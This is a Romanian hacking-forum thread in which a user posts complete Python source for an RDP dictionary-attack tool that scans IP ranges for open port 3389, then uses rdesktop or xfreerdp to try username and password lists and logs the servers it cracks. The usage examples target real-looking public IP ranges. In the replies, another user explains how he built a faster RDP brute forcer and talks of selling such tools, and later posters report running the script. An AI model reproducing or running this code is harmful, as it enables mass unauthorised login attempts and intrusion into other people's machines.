cmiN Posted May 30, 2012 Report Posted May 30, 2012 (edited) Daca se dovedea a fi eficient la partea de crack il tineam privat, dar asa ii fac publica sursa, poate il imbunatateste cineva sau invata ceva din el. E mai mult un wrapper si se foloseste de rdesktop, dar in teorie ar trebui sa sparga ceva (am testat pe niste servere cunoscute plasate printre altele si cu niste liste de parole decente si uneori le prindea alteori sarea peste ele in aproape aceleasi conditii locale).Alte nelamuriri vedeti sursa.#! /usr/bin/env python# RDP Dictionary Attack# 21.05.2012 cmiN## THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY# I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM## Connect with rdesktop, xfreerdp or something similar using# servers, users and passwords from files.# After checking if the port is opened, the wrapper opens a shell console# executing the client with data from input files. In the meantime# a local socket is accepting connections from the target and if the link# is established then the user and password for that server are a match.## You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).# On gentoo based systems use emerge to find and install the newest packages.# Contact: cmin764@yahoo/gmail.comfrom sys import argv, platformfrom threading import Thread, active_count, Lockfrom subprocess import Popenfrom socket import *# defaultsTHRD = 4 # how many threads for crack phaseTOUT = 6.0 # timeout in seconds# get global host iptry: sock = socket(AF_INET, SOCK_STREAM) sock.connect(("www.google.com", 80)) # assuming google worksexcept error as excp: # error from socket (timed out or invalid server) print "Check your internet connection: %s." % excp exit()else: HOST = sock.getsockname()[0]finally: sock.close() del sockPORT = 51337 # used for local listening# attack modesRDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]VERB = False # verboseMETH = "r" # RDP1USER = ["Administrator"]SAFE = TrueSWTC = TrueLIMT = None # attacks (test only, None -> unlimited)class Engine: """Main class used to find and crack servers with desired options. For more info see usage from the bottom of the script. It executes commands through subprocess and waits for replies within timeout. """ def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch): """Copy global options and prepare the core.""" self.cli = True # activate print/stdout (set to False if a GUI is used) self.threads = threads self.timeout = timeout self.host = host self.port = port self.rdp1 = rdp1 self.rdp2 = rdp2 self.verbose = verbose self.sockets = dict() # D[x] = True if x is available otherwise False self.pos = list() # list with indexes (user, password, server, telnet) self.usr = usr self.pwd = None self.srv = None # set the command used for scanning if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 # default: don't save self.working = None self.cracked = None self.good = list() # rdp servers self.delete = set() # dispose of cracked servers self.lock = Lock() # global printing thread synchronization self.sock_mutex = Lock() # for localhost socket use if "linux" in platform: self.null = open("/dev/null", "w") else: self.null = open("NUL", "w") self.safe = safe self.switch = switch def __del__(self): """Destructor.""" if hasattr(self.srv, "close"): self.srv.close() if hasattr(self.usr, "close"): self.usr.close() if self.pwd: self.pwd.close() if self.working: self.working.close() if self.cracked: self.cracked.close() for sock in self.sockets: sock.shutdown(SHUT_RDWR) sock.close() def generator(self, src, dest): """Just like grandpa's old mileage meter :].""" temp = "%d.%d.%d.%d" byte = 256 yield temp % tuple(src) # yield -> the beauty of python while (src != dest): # like return but continue src[3] += 1 if src[3] == byte: src[3] = 0 src[2] += 1 if src[2] == byte: src[2] = 0 src[1] += 1 if src[1] == byte: src[1] = 0 src[0] += 1 yield temp % tuple(src) def set_threads(self, threads): self.threads = threads def set_safe(self, safe): self.safe = safe def set_switch(self, switch): self.switch = switch def set_timeout(self, timeout): self.timeout = timeout def set_verbose(self, verbose): self.verbose = verbose def set_method(self, method): if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 def set_usr(self, usr): """If this is called, then the users are taken from a file.""" self.usr = open(usr, "r") # do not use the generic one def set_pwd(self, pwd): """The file with passwords is mandatory.""" self.pwd = open(pwd, "r") def set_srv(self, srv): """Make a file object or range generator from argument.""" if srv.find("-") == -1: # not found -> not range self.srv = open(srv, "r") else: chunks = srv.split("-") src, dest = chunks[0].split("."), chunks[1].split(".") for i in xrange(4): src[i] = int(src[i]) dest[i] = int(dest[i]) self.srv = self.generator(src, dest) def set_working(self, working): """Save progress in scan phase.""" self.working = open(working, "a") # safe append def set_cracked(self, cracked): """Save progress in crack phase.""" self.cracked = open(cracked, "a") def scan_server(self, server): """Check if the rdp port is opened on the specified server.""" try: # create the socket and connect sock = socket(AF_INET, SOCK_STREAM) sock.connect((server, 3389)) except error: # timed out in most cases if self.verbose: self.lock.acquire() if self.cli: print "[-] %s [NO]" % server # only with -v self.lock.release() else: # good news everyone self.lock.acquire() if self.cli: print "[+] %s [OK]" % server self.good.append(server) if self.working: self.working.write(server + "\n") self.working.flush() self.lock.release() finally: sock.close() def scan(self): """Just like a port scanner for 3389.""" setdefaulttimeout(self.timeout / 10.0) # 10% for server in self.srv: while active_count() > self.threads * 16: pass # do not exceed number of threads if self.switch: # scan them # now call the method in a separate thread Thread(target=self.scan_server, args=[server.strip()]).start() else: # or skip the scan self.good.append(server.strip()) while active_count() > 1: pass # join all def acquire_sock(self): for sock, state in self.sockets.iteritems(): if state: # available self.sockets[sock] = False # use it return sock def release_sock(self, sock): self.sockets[sock] = True def crack_server(self, command): try: # get a server self.sock_mutex.acquire() sock = self.acquire_sock() self.sock_mutex.release() command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1]) child = Popen(command, stdout=self.null, stderr=self.null) # no wait sock.accept() # here is the big overhead except error as excp: # timed out if self.verbose: self.lock.acquire() if self.cli: print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.lock.release() else: # good news again show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.delete.add(command[self.pos[2]]) # cracked! no need to process again self.lock.acquire() if self.cli: print "[+] " + show + " [OK]" if self.cracked: self.cracked.write(show + "\n") self.cracked.flush() self.lock.release() finally: child.kill() # do not close it, instead release it for further use self.release_sock(sock) # O(1) and can't affect the same socket def crack(self): """For each user take each password and test them with each working server.""" goodLen = len(self.good) if goodLen == 0: if self.cli: print "[!] No servers to crack." return if self.safe: # avoid deadlocks or strange behavior self.set_threads(min(self.threads, goodLen)) users = [line.strip() for line in self.usr] passwords = [line.strip() for line in self.pwd] if self.cli: print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) * goodLen * self.timeout / self.threads) setdefaulttimeout(self.timeout) # now use the real timeout # prepare the sockets for port in xrange(self.threads): sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(self.timeout) sock.bind((self.host, self.port + port)) sock.listen(1) self.sockets[sock] = True # init command template command = self.command shellIndex = command.index("telnet {host} {port}") command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}") self.pos = [command.index("{user}"), command.index("{password}"), command.index("{server}"), shellIndex] attacks = 0 for user in users: command[self.pos[0]] = user for password in passwords: command[self.pos[1]] = password for server in self.good: command[self.pos[2]] = server while active_count() > self.threads: pass # do not exceed number of threads attacks += 1 if LIMT and attacks > LIMT: if self.cli: print "[!] Limit reached, buy the script." return # now call the method in a separate thread Thread(target=self.crack_server, args=[command[:]]).start() for server in self.delete: # N^2 can be reduced to NlogN with set self.good.remove(server) # and also to N with index memorization self.delete.clear() while active_count() > 1: pass # join alldef parse(): at = 1 params = list() while at < argc: if argv[at] in ("-h", "--help"): print usage exit() # do not start the process elif argv[at] in ("-v", "--verbose"): app.set_verbose(True) elif argv[at] in ("-t", "--threads"): at += 1 app.set_threads(int(argv[at])) elif argv[at] in ("-T", "--timeout"): at += 1 app.set_timeout(float(argv[at])) elif argv[at] in ("-m", "--method"): at += 1 app.set_method(argv[at]) elif argv[at] in ("-w", "--working"): at += 1 app.set_working(argv[at]) elif argv[at] in ("-c", "--cracked"): at += 1 app.set_cracked(argv[at]) elif argv[at] in ("-s", "--safe-off"): app.set_safe(False) elif argv[at] in ("-n", "--no-scan"): app.set_switch(False) else: if argv[at][0] == "-": raise Exception("Invalid option") params.append(argv[at]) at += 1 pLen = len(params) if pLen not in (2, 3): raise Exception("Invalid number of parameters") app.set_srv(params[-1]) app.set_pwd(params[-2]) if pLen == 3: app.set_usr(params[-3]) # same index as 0def main(): try: if argc == 1: # show a message or start the GUI which is missing print "You should run: %s --help" % argv[0] exit() # or parse the arguments parse() # and start the scanner print "[i] Scan phase started." app.scan() # filter the input for working rdp servers print "[i] Crack phase started." app.crack() # crack them except Exception as excp: print "[x] Error: %s." % excp except KeyboardInterrupt: print "[!] Stopped." else: print "[i] Finished."if __name__ == "__main__": argc = len(argv) usage = """Usage: {0} [options] [usr] pwd srvOptions: -t, --threads <number> number of threads (parallel connections) -s, --safe-off by default the number of threads is reduced to the number of working servers if it's greater use this option to keep the number of threads -T, --timeout <seconds> waiting response time for each connection -m, --method <r/x> use [r]desktop or [x]freerdp -w, --working <file> file used to store servers with 3389 opened -c, --cracked <file> file used to store cracked servers -n, --no-scan skip scan phase asumming all servers are working rdps -v, --verbose show extra information (default off) -h, --help show this helpParameters: usr users file (default users: {1}) pwd passwords file srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)Examples: {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60 {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15 {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txtUsers, passwords and working servers are loaded into memory.Be aware to not open a file for both read and write. More exactly do not usethe same file name with `-w`/`-c` and `srv`.THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLYI AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAMSend bugs to cmin764@yahoo/gmail.com.""".format(argv[0], USER) app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC) main() del app Edited May 30, 2012 by cmiN 2
phreak Posted May 30, 2012 Report Posted May 30, 2012 Un exemplu foarte bun pentru care python nu poate inlocui C++
ionut.hulub Posted May 30, 2012 Report Posted May 30, 2012 pana acu te plangeai ca intru eu cu python in topicurile tale de c si c++ si acu vad ca e invers.sau incerci sa ne inveti ce e aia ipocrizie? ne'ai dat un exemplu foarte bun sa sti.
phreak Posted May 30, 2012 Report Posted May 30, 2012 Diferenta e ca n-a cerut nimeni ajutor in nici unul dintre limbaje si stiu eu sigur ca nu-l conving pe cmin de nimic deci comentariul meu a fost mai mult asa, 'told you so' . Te ataci prea usor.Daca inca n-ai inteles care a fost motivul initierii argumentului ala , a fost indrumarea incepatorilor pe diferite cai si combaterea miturilor din populimea asa zisilor "programatori".
Vlachs Posted May 30, 2012 Report Posted May 30, 2012 Diferenta e ca n-a cerut nimeni ajutor in nici unul dintre limbaje si stiu eu sigur ca nu-l conving pe cmin de nimic deci comentariul meu a fost mai mult asa, 'told you so' . Te ataci prea usor.Daca inca n-ai inteles care a fost motivul initierii argumentului ala , a fost indrumarea incepatorilor pe diferite cai si combaterea miturilor din populimea asa zisilor "programatori".Sincer nu conteaza limbajul in care e realizat ci conteaza abordarea, urat este ca a folosit o librarie complicandu-si putin aplicatia, mai simplu era daca crea o conexiune folosind socket.Nu cred ca py este mai rau sau bun pentru a fi folosit pentru un proiect de genu, conteaza abordarea.edit: vad ca rdesktop este un client, my bad
cmiN Posted May 30, 2012 Author Report Posted May 30, 2012 (edited) Aici e problema, ca ma folosesc de rdesktop, adica deschid la propriu clienti si le mai si apar ferestrele pe ecran (am optimizat cat de mult din parametri sa foloseasca cat mai putine resurse pentru realizarea conexiunii (rezolutie, calitatea culorii, compresii, etc.)). Aici C/C++ nu facea nicio diferenta (poate castiga cateva milisecunde) dar daca implementam protocolul manual (ceea ce mi se pare mai mult decat imposibil, m-am uitat si prin xrdplib (@ C) trebuie mai intai creata interfata, ntlmuri peste ntlmuri, tot felul de pachete non ascii trimise in moduri diferite, compatibilitate cu fiecare versiune a protocolului si sistemului de operare, etc) atunci cel care facea diferenta era INTERNETUL, cand faci programare in retea mai ales low level se recurge in "interior" la aceleasi headere si viteza aproape e aceeasi fiindca cum am mai spus cel care-si spune cuvantul este viteza conexiunii sau configuratia sistemului in sine.Cum spunea si benny din toate motivele care exista sau pot aparea in ineficienta scriptului 95% apartin abordarii, aceea ca ma folosesc de alt program pentru realizarea conexiunilor si prin telnet (remote) accesez un port local pentru a stabili daca combinatia user-pass a mers (+ false negative in cazul in care telnetul nu functioneaza, exista firewall, varii motive pentru depasirea timeoutului, instabilitate, etc.).In loc sa va bateti pe limbaje ati putea ajuta daca ar traduce cineva o parte din biblioteca care sta la baza rdpului sau implementarea protocolului (daca-l intelegeti sunteti zei) sau astia bosi cu C/C++ de ce nu izolati o parte din cod sa reduc acel rdesktop doar la partea de conexiune si analiza a pachetului returnat pentru stabilirea rezultatului (a mers sau nu) dar din pacate cred ca totul e pe baza de interfata si trebuie un regex pe return, cred. Edited May 30, 2012 by cmiN
phreak Posted May 30, 2012 Report Posted May 30, 2012 (edited) Ca sa faci un brute forcer eficient trebuie sa ai networking de calitate superioara, nu stiu cat de usor e ajuns telul asta in python. Singurul bottleneck al bruteforcer-ului facut de mine este bandwidth-ul, nu e problema codului.Pe langa asta problema folosirii python intr-un proiect de genul este ca tre sa-l rescrii de la 0. Daca ar fi fost vreun client rdp scris in python mai ziceam dar asa..Si oricum , i-am mai zis cam ce trebuie sa faca in threadul anterior, din pacate s-a lasat batut . Te-as fi felicitat daca te-ai fi chinuit macar dar wrappere peste procesul rdesktop sunt multe pe internet si toate-s slabe.LE : conteaza limbajul ca nu poti sa modifici cod C in python, sau sa adaugi python la C. ( vorbim strict de proiectul asta ) Edited May 30, 2012 by phreak
cmiN Posted May 30, 2012 Author Report Posted May 30, 2012 (edited) M-am referit ca nu conteaza limbajul atunci cand apar factori "prea obositori" comuni, am codat destule exemple de algoritmi cu complexitati destul de ciudate si-ntr-un limbaj compilat si unul interpretat si diferentele de timp sunt extrem de mici, singura care conteaza este complexitatea (si multi (programatori de carton) fac acelasi algoritm mai ineficient intr-un limbaj interpretat, fiindca nu cunosc ce sta la baza (in "interior") a ceea ce folosesc si de aici rezulta si imediata prejudecata ca "ar fi iesit mai rapid in C") oricum eu raman la si sustin ideea ca intotdeauna un limbaj compilat va fi mult mai rapid decat un limbaj interpretat, dar in cazul python (proiectul acesta) toata munca e preluata de partile "interioare" ale interpretorului si acelea sunt codate in C.Asa e m-am lasat batut, dar m-am lasat dupa ce am inteles cat de complicata e treaba si ca nu prea aveam cod reutilizabil acolo, o singura chestiuta de modificai se dadea peste cap totul iar sursele sunt in stransa legatura, nu poti lua asa pur si simplu coreul si sa trunchiezi de prin el sau sa folosesti niste functii de care ai nevoie pentru a stabili conexiunea si gata, ajungi in situatia in care iti pare rau ca ai facut atat "reverse" pe obfuscatiile alea si nu ai implementat protocolul de la 0.Daca aveam o astfel de biblioteca sau cunostiintele necesare incat sa inteleg perfect acele biblioteci open-source as fi scris codul pur C nu mi-e frica de un astfel de limbaj si nu-l consider mai greu, dar din moment ce abordarea e un esec nu se mai pune in discutie ce unealta va fi mai eficienta.Repet codul este pentru a ilustra si un alt punct de vedere al firelor de executie si ceva sincronizari pentru amatori, codul asta face orice numai sa sparga nu face .P.S.: Vreau sa vad si eu codul sursa a unui wrapper decent pentru rdp daca tot zici ca sunt cu sutele pe net. Edited May 30, 2012 by cmiN
phreak Posted May 30, 2012 Report Posted May 30, 2012 Te complici mult prea mult, normal ca se fute tot la inceput , de aia-i zice trial and error.Eu am facut asa : m-am uitat prin rdp_connect din rdesktop.c pana la tcp.c ( se cheama in lant, rdp_connect, mcs_connect, sec_connect, iso_connect, tcp_connect , nu mai tin minte ordinea exacta intre mcs si sec ) , asta doar ca sa-mi fac o idee. Dupa ce am inteles flow-u am scris un script cu care mi-am copiat in mare parte doar functiile folosite in lantul connect si recv dupa care am format o clasa ( C++ ) . A durat cam o luna jumate incapsulatul + convertirea din blocking in non-blocking ( folosind boost asio ) dupa care am mai pierdut vreo luna de trial and error cu prostia aia de rdesktop-brute care mai mult te induce in eroare , solutia este recunoasterea bitmap-urilor trimise de server.Doar scoaterea ferestrei e relativ simplu, stergi toate call-urile la functii din xwin.c. In rest te las pe tine sa descoperi deja dau sfaturi moca.Wrapper in genu ( daca nu mai bun ) a ceea ce ai facut tu : https://rstcenter.com/forum/51899-qtss-brute-v-2-0-private.rst
cmiN Posted May 30, 2012 Author Report Posted May 30, 2012 Atunci respect, eu nu mi-am permis sa pierd mai mult de 3-4 zile cu asa ceva si mi-am dat si eu seama ca trebuie sa parsezi frame buffere si nu un sir sau return code care sa-ti spuna in paralel care e situatia, micro$hit protocol.Succes cu clasa poate o publici intr-o zi sub lgpl.
phreak Posted May 30, 2012 Report Posted May 30, 2012 Din nou iti zic ca te pierzi in amanunte.. nu stiu de ce frame buffere vorbesti sau return code-uri , iti garantez ca sunt irelevante pentru scopul tau. Tu trebuie doar sa extragi "din mers" informatii relevante si singurele informatii relevante care merita extrase sunt bitmapurile si mesajul de succes. Pana atunci ai de lucru cateva luni sa-l aduci doar in stadiul in care parsezi chestii si incapsularea / modificarea call-urilor de retea nu tine de protocolul microsoft deloc, tine de munca migaloasa si nervi de otel.Clasa nu cred ca o voi publica in veci la cata munca am bagat in ea , nu e genul de proiect care ajuta "comunitatea programatorilor" in vreun fel, faci ceva de genul asta il vinzi si-l vinzi scump ca sa nu se raspandeasca, iti dai seama ce potop ar fi daca ar avea toti skizzi de 13 ani bruteforcer de 1000 attempts pe secunda? Ma mir ca au publicat moca dubrute-ul , nu vad logica in spatele deciziei.
Mr52 Posted June 12, 2012 Report Posted June 12, 2012 Heads Up to the Programmer the Source is really clean and simple and very effective then the normal programs +1 and thanks for sharing the source with us
argentlo Posted November 1, 2014 Report Posted November 1, 2014 how does it work?still "[x] Error: Invalid number of parameters."thanks for sharing
ratzuca Posted December 3, 2014 Report Posted December 3, 2014 Din nou iti zic ca te pierzi in amanunte.. nu stiu de ce frame buffere vorbesti sau return code-uri , iti garantez ca sunt irelevante pentru scopul tau. Tu trebuie doar sa extragi "din mers" informatii relevante si singurele informatii relevante care merita extrase sunt bitmapurile si mesajul de succes. Pana atunci ai de lucru cateva luni sa-l aduci doar in stadiul in care parsezi chestii si incapsularea / modificarea call-urilor de retea nu tine de protocolul microsoft deloc, tine de munca migaloasa si nervi de otel.Clasa nu cred ca o voi publica in veci la cata munca am bagat in ea , nu e genul de proiect care ajuta "comunitatea programatorilor" in vreun fel, faci ceva de genul asta il vinzi si-l vinzi scump ca sa nu se raspandeasca, iti dai seama ce potop ar fi daca ar avea toti skizzi de 13 ani bruteforcer de 1000 attempts pe secunda? Ma mir ca au publicat moca dubrute-ul , nu vad logica in spatele deciziei.se va sti intodeauna cine a fost dubrute (telxp), cred ca asta a vrut sa reflecteze acel telxp, e ca in viata de zi cu zi, ce daca muncesti enorm, a facut asta pentru o cauza. dai un nume, si dai drumu pe net "nimic nu se pierde, totu e castigat"cum ar fi fost daca nu aparea aspirina, ori pixul, ori telefonul , radio , etc .. conteaza cine foloseste?!
jayluc Posted December 6, 2014 Report Posted December 6, 2014 how does it work?still "[x] Error: Invalid number of parameters."thanks for sharingacelasi lucru imi da si mie pe windows, lam testat pe unix si merge binisor scanneru, partea de brute ... cam sare pe ideea din 2 in 2 poate al 3 lea il ia ... dar o fi de la mine nu am stat sa ii dau de cap dar o data prinde un ip o data nu dupa cateva incercari iar ii da OK, dar poate e de la serveru pe care l-am testat
JIHAD Posted December 8, 2014 Report Posted December 8, 2014 rdesktop | SourceForge.netpoate te reapuci de el
Hubba Posted January 22, 2015 Report Posted January 22, 2015 si commands ?Examples: {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60 {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15 {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt
phreak Posted January 28, 2015 Report Posted January 28, 2015 In caz ca mai citeste cineva topicul asta si e interesat de ce munceam eu in perioada aia, nu ma contactati decat daca lucrati pentru o firma care are nevoie de soft pentru scopuri legale si sunteti dispusi sa emiteti factura pentru orice serviciu necesar.
mov_0ah_01 Posted January 28, 2015 Report Posted January 28, 2015 In caz ca mai citeste cineva topicul asta si e interesat de ce munceam eu in perioada aia, nu ma contactati decat daca lucrati pentru o firma care are nevoie de soft pentru scopuri legale si sunteti dispusi sa emiteti factura pentru orice serviciu necesar.ba dute`n kkt.